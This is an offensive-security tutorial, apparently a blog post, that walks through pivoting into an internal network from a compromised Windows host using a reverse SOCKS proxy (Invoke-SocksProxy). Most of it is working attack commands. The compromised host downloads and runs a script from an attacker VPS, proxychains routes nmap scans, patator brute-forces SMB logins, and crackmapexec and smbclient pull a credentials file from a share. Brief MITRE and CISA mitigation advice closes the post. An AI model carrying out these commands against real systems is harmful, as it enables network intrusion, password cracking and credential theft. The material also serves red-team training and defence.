Tokyoneon

Updated: 3/18/2021

Reverse proxies allow adversaries (APTs) to pivot attacks into secured environments, as they’re capable of bypassing inbound firewall restrictions. In recent news, a federal agency’s enterprise network was the victim of such an attack. The adversaries used a variant of Invoke-SocksProxy, an open-source reverse proxy tool found on GitHub.

Described by the Cybersecurity and Infrastructure Security Agency (CISA):

The cyber threat actor established Persistence and C2 on the victim network by creating a persistent SSH tunnel/reverse SOCKS proxy … PowerShell script [Invoke-SocksProxy.ps1] created a reverse SMB SOCKS proxy that allowed connections between attacker-controlled VPS … and the victim organization’s file server … Invoke-SocksProxy.ps1 creates a reverse proxy from the local machine to attacker infrastructure …

What is a Reverse Proxy?

As defined by the MITRE ATT&CK Framework:

Adversaries may use a connection proxy to direct network traffic between systems or act as an intermediary for network communications … to avoid direct connections to their infrastructure … Adversaries use these types of proxies to manage C2 communications [or] reduce the number of simultaneous outbound network connections … Adversaries may chain together multiple proxies to further disguise the source of malicious traffic…

Setup the Attack

The network topology contains several devices connected to an internal network (172.16.0.1/24). For simplicity, assume the adversary established a reverse shell on Host A (172.16.0.3) with a nefarious Word document (shown below). With this level of compromise, the attacker’s Kali system cannot directly interact with the SMB and HTTP servers. The goal is to discover services on 172.16.0.1/24 while using Host A as a proxy.

In this example, the compromised host is connecting to the attacker’s virtual private server (VPS) with a Netcat listener on TCP/4444 (shown below). The Netcat connection should remain open as it is required in a later step.

In Kali, open a new terminal and SSH into the VPS. Elevate to a root shell with the su command.

Use the following git command to clone my Invoke-SocksProxy repository. The repository contains two files: ReverseSocksProxyHandler.py and Invoke-SocksProxy.ps1.

root@vps > cd /opt; git clone https://github.com/tokyoneon/Invoke-SocksProxy

The ReverseSocksProxyHandler.py script will open ports 443 and 1337: Port 443 will receive incoming connections from Host A. Port 1337 will act as the proxy port, configured with proxychains in Kali. When executed, the terminal will produce the following output and should remain open for the duration of the attack.

root@vps > cd /opt/Invoke-SocksProxy; ./ReverseSocksProxyHandler.py

The Invoke-SocksProxy.ps1 script is meant to be executed on the compromised host. In Kali, open a new terminal and SSH into the VPS again. Change the hardcoded VPS address in Invoke-SocksProxy.ps1 and host it on an HTTP server (i.e., Apache, Nginx, or http.server).

In the Netcat terminal, change into the $env:TEMP directory on Host A. Then download Invoke-SocksProxy.ps1 from the VPS and execute it. It won’t produce output and must remain open. An attacker may use scheduled tasks to automate the execution in a real scenario. We’ll keep the terminal open for this demonstration to understand what’s happening.

Ps > cd $env:TEMP

Ps > iwr 192.168.56.102/Invoke-SocksProxy.ps1 -outfile isp.ps1

Ps > .\isp.ps1

In Kali, install proxychains4 and modify the /etc/proxychains4.conf file. Add the VPS address and 1337 port to the bottom of the configuration file.

sudo apt-get install -y proxychains4 && sudo nano /etc/proxychains4.conf

That’s all for setting up the attack. With ReverseSocksProxyHandler and Invoke-SocksProxy running on the VPS and Host A, it’s possible to proxy attacks into the internal network.

Proxy Nmap and Crackmapexec with Proxychains

There are limitations while using Nmap with Proxychains. For example, Nmap fails at host discovery, unable to perform ping (ICMP) scans over SOCKS5. With that said, service and port discovery are still effective (while a bit slow, as they require full TCP scans).

The following Nmap scan will perform a TCP scan (-sT) with host discovery (-Pn) and DNS resolution (-n) disable. The arguments are required to use Nmap with Proxychains. Note the SMB server on 172.16.0.4:445 and the HTTP server on 172.16.0.115:80.

proxychains nmap -sT -Pn -n -p445,139,88,80 172.16.0.4,115

To proxy brute-force attacks, use the following patator command. Proxychains messages will collide with Patator’s output, use -q to suppress them. Note the password (“Passw0rd!”) discovered during the attack.

proxychains -q patator smb_login host=172.16.0.4 port=445 user=victim2 password=FILE0 0=/usr/share/wordlists/nmap.lst -t 1 -x ignore:mesg=’STATUS_LOGON_FAILURE’

To view shares on the compromised SMB server, use the following crackmapexec command with the discovered password. Notice the “Private” share with read and write permissions.

proxychains crackmapexec smb 172.16.0.4 -u ‘victim2’ -p ‘Passw0rd!’ –shares

To access the contents of the share, use the smbclient command to view the desired (“/Private”) directory. Notice the “credentials.txt” file in the share. Use the get command with smbclient to retrieve the file and save it locally in Kali.

proxychains smbclient //172.16.0.4/Private -U ‘victim2%Passw0rd!’

HTTP servers are equally accessible using similar proxychains commands. However, Firefox has built-in features that make interacting with proxies more convenient.

In Kali, open Firefox and navigate to Preferences > Network Settings > Settings and use a “SOCKS Host” with the VPS IP address and port (shown below). Click “OK” to save the configuration.

Then, open a new tab and navigate to any HTTP server found in the internal network (e.g., 172.16.0.115:80).

When viewing the HTTP server logs on 172.16.0.115, the requests appear to originate from 172.16.0.3 (Host A), the compromised host.

Mitigation & Detection

As recommended by the MITRE ATT&CK Framework:

Analyze network data for uncommon or abnormal data flows. For example, clients sending significantly more data than they receive from servers that should not or often do not communicate with one another. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.

• Filter Network Traffic: Traffic to known anonymity networks and C2 infrastructure can be blocked through the use of network allow and block lists. It should be noted that this kind of blocking may be circumvented by other techniques like Domain Fronting.
• Network Intrusion Prevention: Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific C2 protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools.
• SSL/TLS Inspection: If it is possible to inspect HTTPS traffic, the captures can be analyzed for connections that appear to be domain fronting.

Additionally, CISA recommends organizations implement the following best practices:

• Implement multi-factor authentication, especially for privileged accounts.
• Use separate administrative accounts on separate administration workstations.
• Implement the principle of least privilege on data access.
• Secure RDP and other remote access solutions using multi-factor authentication and “jump boxes” for access.
• Deploy and maintain defense tools on all endpoints.
• Keep software up to date.

Follow me on Twitter @tokyoneon_ and GitHub to keep up with my current projects.